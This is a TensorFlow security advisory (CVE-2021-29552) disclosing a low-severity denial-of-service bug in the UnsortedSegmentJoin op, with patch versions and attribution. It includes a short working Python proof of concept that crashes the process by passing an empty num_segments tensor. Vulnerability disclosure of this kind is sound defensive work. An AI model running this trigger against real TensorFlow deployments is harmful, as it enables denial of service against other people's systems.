`CHECK`-failure in `UnsortedSegmentJoin`

Low **mihaimaruseac** published **GHSA-jhq9-wm9m-cf89** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can cause a denial of service by controlling the values of `num_segments` tensor argument for `UnsortedSegmentJoin` :

```
import tensorflow as tf

inputs = tf.constant([], dtype=tf.string)
segment_ids = tf.constant([], dtype=tf.int32)
num_segments = tf.constant([], dtype=tf.int32)
separator = ''

tf.raw_ops.UnsortedSegmentJoin(
  inputs=inputs, segment_ids=segment_ids,
  num_segments=num_segments, separator=separator)
```

This is because the implementation assumes that the `num_segments` tensor is a valid scalar:

```
const Tensor& num_segments_tensor = context->input(2);
auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()();
```

Since the tensor is empty the `CHECK` involved in `.scalar<T>()()` that checks that the number of elements is exactly 1 will be invalidated and this would result in process termination.

Patches

We have patched the issue in GitHub commit 704866eabe03a9aeda044ec91a8d0c83fc1ebdbe.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29552

Weaknesses

No CWEs